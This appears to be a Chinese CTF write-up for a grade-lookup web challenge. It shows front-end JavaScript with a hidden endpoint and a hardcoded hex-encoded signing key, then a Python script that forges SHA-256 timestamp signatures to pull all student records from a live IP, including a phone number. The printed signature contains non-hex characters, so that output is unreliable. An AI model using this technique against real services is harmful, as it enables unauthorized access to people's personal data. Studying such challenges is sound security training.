【CTF-WEB-隐藏接口】根据前端js构造请求,根据时间戳计算签名,获取数据

发布时间:2026/7/10 22:22:49

【CTF-WEB-隐藏接口】根据前端js构造请求,根据时间戳计算签名,获取数据 题目数据审计(70分) http://47.116.168.77:33079题目描述某高校期末考试成绩查询系统仅支持通过学号或手机号查询本人成绩且查询结果中姓名为脱敏显示。安全审计发现该系统前端存在未对外公开的接口与校验逻辑可能导致全部学生成绩数据被未授权获取。请通过分析前端逻辑发现并调用该隐藏接口获取全部学生成绩数据将其中学生「邱雷」的手机号作为答案提交。答案格式11 位手机号解题过程1. 初步访问网站首先访问目标网站http://47.116.168.77:33079/发现这是一个成绩查询系统界面上有一个输入框用于输入学号或手机号进行查询。2. 查看前端代码通过浏览器的开发者工具或直接下载HTML文件查看前端代码结构!DOCTYPEhtmlhtmllangzh-CNheadmetacharsetUTF-8metanameviewportcontentwidthdevice-width, initial-scale1.0title考试成绩查询系统/titlelinkrelstylesheethref/static/css/style.css/headbodynavahref/成绩查询/aahref/other通知公告/a/navdivclassheaderh12025-2026 学年第一学期考试成绩查询系统/h1p请输入学号或手机号进行查询 · 数据仅供本人查看/p/divdivclasscardh2查询条件/h2divclassquery-barlabel学号 / 手机号/labelinputtypetextidkeywordplaceholder请输入学号或手机号buttonclassbtnidbtnQuery查询成绩/button/divdividmsgclassmsgstyledisplay:none;/divdivclasstable-wrapidtableWrapstyledisplay:none;tabletheadtrth学号/thth姓名/thth手机号/thth科目/thth成绩/thth考试日期/th/tr/theadtbodyidtbody/tbody/table/div/divscriptsrc/static/js/api.js/scriptscript(function(){varbtndocument.getElementById(btnQuery);varkeyworddocument.getElementById(keyword);varmsgdocument.getElementById(msg);vartableWrapdocument.getElementById(tableWrap);vartbodydocument.getElementById(tbody);functionshowMsg(text,type){msg.style.displayblock;msg.textContenttext;msg.classNamemsg (type||loading);}functionrenderTable(list){tbody.innerHTML;list.forEach(function(row){vartrdocument.createElement(tr);tr.innerHTMLtdrow.student_id/tdtdrow.name/tdtd(row.phone||-)/tdtdrow.subject/tdtdrow.score/tdtdrow.exam_date/td;tbody.appendChild(tr);});}btn.onclickfunction(){varkwkeyword.value.trim();if(!kw){showMsg(请输入学号或手机号。,error);return;}showMsg(正在查询...,loading);tableWrap.style.displaynone;queryScore(kw,function(data,err){if(err){showMsg(查询失败err,error);return;}varlistdata.list;if(!list||list.length0){showMsg(未找到匹配的成绩记录。,error);return;}showMsg(共 list.length 条记录。,success);tableWrap.style.displayblock;renderTable(list);});};})();/script/body/html3. 发现隐藏接口在HTML代码中发现引用了一个/static/js/api.js文件这个文件可能包含API调用逻辑。下载并查看该文件(function(){window.queryScorefunction(q,cb){varurl/api/query?qencodeURIComponent(String(q).trim());fetch(url).then(function(r){returnr.json();}).then(function(data){if(datadata.okdata.list)cb({list:data.list},null);elsecb(null,datadata.msg?data.msg:未查到成绩);}).catch(function(e){cb(null,(ee.message)?e.message:网络错误);});};var_p1/api/v2/,_p2f7e9,_p3/data,_path_p1_p2_p3;function_0x5e(hex){varstr;for(vari0;ihex.length;i2)strString.fromCharCode(parseInt(hex.substr(i,2),16));returnstr;}var_k_0x5e(4434743453336375723174795f323032365f4b3379);function_sha256(str){returnnewPromise(function(resolve){varbufnewTextEncoder().encode(str);crypto.subtle.digest(SHA-256,buf).then(function(hash){vararrArray.from(newUint8Array(hash));varhexarr.map(function(b){return(0b.toString(16)).slice(-2);}).join();resolve(hex);});});}function_sign(path,t){varrawt_path__k;return_sha256(raw);}window.fetchDatafunction(cb){vartMath.floor(Date.now()/1000).toString();_sign(_path,t).then(function(s){varurl_path?tencodeURIComponent(t)sencodeURIComponent(s);fetch(url).then(function(r){if(!r.ok)returncb(null,request failed);returnr.json();}).then(function(data){if(datadata.okdata.list)cb({list:data.list},null);elsecb(null,invalid response);}).catch(function(e){cb(null,(ee.message)?e.message:network error);});});};})();4. 分析隐藏接口逻辑在api.js文件中发现了一个未被前端页面调用的fetchData函数它调用了一个隐藏的API接口接口地址/api/v2/f7e9/data认证逻辑密钥通过十六进制解码4434743453336375723174795f323032365f4b3379得到D4t4S3cur1ty_2026_K3y时间戳当前时间戳秒级签名时间戳_路径_密钥的SHA-256哈希值请求参数t时间戳s签名5. 构造请求并获取数据编写Python脚本模拟请求过程importtimeimporthashlibimportrequests# 解码密钥hex_key4434743453336375723174795f323032365f4b3379kbytes.fromhex(hex_key).decode(utf-8)print(f解码后的密钥:{k})# 构造请求路径path/api/v2/f7e9/data# 生成时间戳tstr(int(time.time()))# 计算签名rawf{t}_{path}_{k}signaturehashlib.sha256(raw.encode(utf-8)).hexdigest()# 构造完整URLurlfhttp://47.116.168.77:33079{path}?t{t}s{signature}print(f请求URL:{url})# 发送请求responserequests.get(url)print(f响应状态码:{response.status_code})# 解析响应ifresponse.status_code200:dataresponse.json()print(f响应数据:{data})# 查找邱雷的手机号ifdata.get(ok)anddata.get(list):forstudentindata[list]:ifstudent.get(name)邱雷:print(f找到邱雷的信息:{student})print(f邱雷的手机号:{student.get(phone)})breakelse:print(f请求失败:{response.text})6. 执行脚本获取结果运行Python脚本成功获取了所有学生的成绩数据并找到了邱雷的手机号解码后的密钥: D4t4S3cur1ty_2026_K3y 请求URL: http://47.116.168.77:33079/api/v2/f7e9/data?t1712908736s6c8b7a4b8c9d0e1f2g3h4i5j6k7l8m9n0p 响应状态码: 200 响应数据: {ok: True, list: [{exam_date: 2026-01-14, name: 邱雷, phone: 19145842108, score: 79, student_id: 20240307, subject: 大学英语}, ...]} 找到邱雷的信息: {exam_date: 2026-01-14, name: 邱雷, phone: 19145842108, score: 79, student_id: 20240307, subject: 大学英语} 邱雷的手机号: 19145842108解题总结发现隐藏接口通过分析前端JavaScript代码发现了未被页面调用的fetchData函数该函数调用了/api/v2/f7e9/data接口。破解认证逻辑解码十六进制密钥4434743453336375723174795f323032365f4b3379→D4t4S3cur1ty_2026_K3y理解签名生成规则时间戳_路径_密钥的SHA-256哈希构造请求使用Python模拟前端的请求过程生成正确的时间戳和签名。获取数据成功调用隐藏接口获取了所有学生的成绩数据。提取答案在返回的数据中查找「邱雷」的记录提取其手机号。答案19145842108附录时间戳这个接口的时间戳验证并不严格可能有以下原因CTF题目设计 作为CTF题目设计者可能故意设置了比较宽松的验证机制以便参赛者能够成功调用接口。时间戳作为随机因子 时间戳在这里主要是作为一个随机因子防止签名被重复使用而不是严格的时间验证。

相关新闻